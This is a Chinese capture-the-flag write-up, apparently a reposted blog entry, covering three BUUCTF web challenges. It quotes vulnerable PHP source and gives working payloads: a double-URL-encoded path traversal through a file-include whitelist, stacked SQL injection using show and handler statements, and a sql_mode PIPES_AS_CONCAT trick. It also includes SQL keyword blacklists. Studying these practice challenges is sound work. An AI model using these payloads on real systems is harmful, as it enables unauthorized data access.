码迷,mamicode.com
首页 > Web开发 > 详细

BUUCTF_WEB_20200913

时间:2020-09-18 01:00:55      阅读:47      评论:0      收藏:0      [点我收藏+]

标签:class   loading   查找   highlight   exp   substr   rman   return   inf   

WEB-WarmUp

1.拿到题目F12,发现source.php

技术图片

在地址后缀加上sourse.php查看php源代码http://2995d695-d04a-469d-874a-abe960aa7080.node3.buuoj.cn/source.php

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can‘t see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . ‘?‘, ‘?‘)
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . ‘?‘, ‘?‘)
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can‘t see it";
            return false;
        }
    }

    if (! empty($_REQUEST[‘file‘])
        && is_string($_REQUEST[‘file‘])
        && emmm::checkFile($_REQUEST[‘file‘])
    ) {
        include $_REQUEST[‘file‘];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

2.分析代码

发现hint.php进入查看
技术图片
根据提示flag应该在ffffllllaaaagggg中
通过观察代码,发现是白名单验证,文件包含只能包含source.php和hint.php

! (! empty($_REQUEST[‘file‘])
      && is_string($_REQUEST[‘file‘])
      && emmm::checkFile($_REQUEST[‘file‘])

此处满足三个条件才能包含 :1、file不能为空;2、file必须是字符串;3、必须通过checkfile()验证
接下来分析checkfile()函数:
首先设置一个白名单,只包含source.php和hint.php,第一个if检查是否存在$page并且是否为字符串。
只包含source.php和hint.php,第一个if检查是否存在$page并且是否为字符串。
检查$page是否在白名单中,是的话返回true。接下来,两个函数一个mb_substr和mb_strpos,总的意思就是截取变量page中?前面的字符串,然后再进行白名单校验。
考虑了URL编码的缘故,再一次解码之后,进行校验

  • mb_substr:返回字符串的一部分
  • mb_strpos:返回要查找的字符串在别一个字符串中首次出现的位置

分析完代码后就可以开始构造payload了,传递一个参数file=hint.php?/../../../../../../ffffllllaaaagggg,目录穿越,当然还要把?进行两次url编码,所以最后的payload为file=hint.php%253f/../../../../../../ffffllllaaaagggg,首先,第一次验证肯定过不了,第二次截取完也过不了,第三次,经过url解码之后,我们构造的payload就变成了index.php?file=hint.php?/../../../../ffffllllaaaagggg,很显然,它是截取?前面的进行校验,我们这的source.php在白名单中,所以返回true,最后通过目录穿越的到ffffllllaaaagggg里面的内容,也就是flag。

flag

flag{723f5d47-ebfd-4214-ab8a-14c1d3e7ff98}

(ps:此处本人存在小疑问,为什么构造payload中不是source.php而是index.php,最后构造成index.php才能出现flag,若有师傅知道原因,望告知!!)

WEB-easy_sql

1.拿到题目首先分别尝试1,2,3

技术图片
输入1返回:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

输入2返回

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

接着输入3返回空,此处划重点!!,一会回头再看
老规矩使用F12先瞅一下
技术图片
这里说到sqlmap是木有灵魂的,所以应该要考察大家的手注能力,但是可以sqlmap先跑一下
技术图片
可以确定存在布尔型的盲注
首先尝试inject = 1‘返回:error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1‘‘‘ at line 1
接着输入inject=1‘--+发现被过滤掉了,在输入 union select * from users where id = 2 --+ 返回return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
发现上面的关键字都被过滤不能使用了,没法进行注入,这个时候尝试一下堆叠注入
输入inject=1‘;show databases查询所有数据库返回:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

输入inject = 1‘;show tables;返回:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

输入inject = 1‘;show columns from words;返回:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

输入inject = 1‘;show columns from 1919810931114514;返回:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

输入inject = 1‘;handler 1919810931114514 open;handler 1919810931114514 read first;(mysql查询语句-handler)返回:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(42) "flag{38ff721f-07d1-4616-88ad-d06ded798adf}"
}

得到flag

flag

flag{38ff721f-07d1-4616-88ad-d06ded798adf}

WEB-easysql。

1.根据提示应该和sql注入有关,因为是post型,所以没有找到明显的注入点

尝试输入1返回Array ( [0] => 1 ) ,说实话还是做题做得少,没有任何头绪。。。。
看了大佬的wp,才知道是堆叠注入。。
输入语法1;show databases;返回Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test ) 注出来数据库名
继续执行1;show tables;Array ( [0] => 1 ) Array ( [0] => Flag 看了flag有丝小激动!!

<?php   \\传说中github的源码
    session_start();
    
    include_once "config.php";
    
    $post = array();
    $get = array();
    global $MysqlLink;
    
    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }
    
    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $get[$k] = trim(addslashes($v));
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php
    
    if(isset($post[‘query‘])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post[‘query‘]));
        if(preg_match("/{$BlackList}/is",$post[‘query‘])){
            //echo $post[‘query‘];
            die("Nonono.");
        }
        if(strlen($post[‘query‘])>40){
            die("Too long.");
        }
        $sql = "select ".$post[‘query‘]."||flag from Flag";
     //sql执行语句
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));
        
    }
    
?>

根据$sql = "select ".$post[‘query‘]."||flag from Flag"构造payload

  • 解法1:
    (此处难点,修改管道符,||在此处起连接作用,管道符)
  • 当 sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
  • 当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
    构造payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 返回:Array ( [0] => 1 ) Array ( [0] => 1flag{36877220-40ea-4fee-a699-eb5075de7cc7} )
    得到flag
  • 解法2:
    根据我的思路 $sql = "select ".$post[‘query‘]."||flag from Flag";可从这句话构造查询
    输入1,1,1,1 返回:Array ( [0] => 1 [1] => 1 [2] => 1 [3] => 1 ) ,selelct 1 from ..., 对应所有行当输入1时返回的所有值都是1
    输入*,1,返回:Array ( [0] => flag{36877220-40ea-4fee-a699-eb5075de7cc7} [1] => 1 )
    得到flag

flag

flag{36877220-40ea-4fee-a699-eb5075de7cc7}

BUUCTF_WEB_20200913

标签:class   loading   查找   highlight   exp   substr   rman   return   inf   

原文地址:https://www.cnblogs.com/Dr-STranger/p/13662749.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!